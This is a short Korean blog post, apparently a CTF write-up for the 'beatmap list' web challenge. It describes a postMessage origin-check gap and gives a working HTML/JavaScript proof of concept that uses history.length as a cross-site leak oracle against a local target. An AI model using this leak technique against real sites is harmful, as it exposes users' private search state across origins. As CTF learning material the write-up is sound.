Web Hacking/WriteUp
[Osu! gaming CTF] beatmap list Writeup
프레딕
2025. 10. 28. 01:09
728x90
처음엔
if (e.origin !== window.origin && data.identifier !== identifier) return;
이런 코드가 있길래 https://ahmed-tarek.gitbook.io/security-notes/pentesting/wep-pen/owsap-top-10/software-and-data-integrity-failures/postmessage-vulnerabilities/bypassing-sop-with-iframes-part-1 이건줄 알았는데 아니었고
단순히 engine.html 의 engine.js에 저런게 없어가지고 bypass가 되가지고 /engine.html에 postmessage 조지면 됐다
<!DOCTYPE html>
<html>
<head>
<title>SOP Bypass Test</title>
</head>
<body>
<p>Check console for logs...</p>
<script>
// attack 페이지 생성
const f = document.createElement('iframe');
f.srcdoc = `
<!DOCTYPE html>
<html>
<body>
<h2>Malicious iframe (origin: null)</h2>
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const tryChar = async()=>{
const w1 = open('http://localhost:8000', '_blank');
//w1[0] 은 engine iframe에보내는거네 ㅅㅂ
await sleep(500);
w1[0].postMessage({
type: "search",
query: "svg"
}, '*');
await sleep(500);
w1.location = "about:blank";
await sleep(500);
let a = w1.history.length;
await sleep(500);
return a;
}
(async() => {
alert(await tryChar());
})();
<\/script>
<\/body>
<\/html>
`
document.body.appendChild(f);
</script>
</body>
</html>
대충 history.length xsleak이고 w1[0]은 w1창의 첫번째 iframe에 보낸다는 얘기다
poc코드좀 보고 js 짜는법 연습하자
728x90
반응형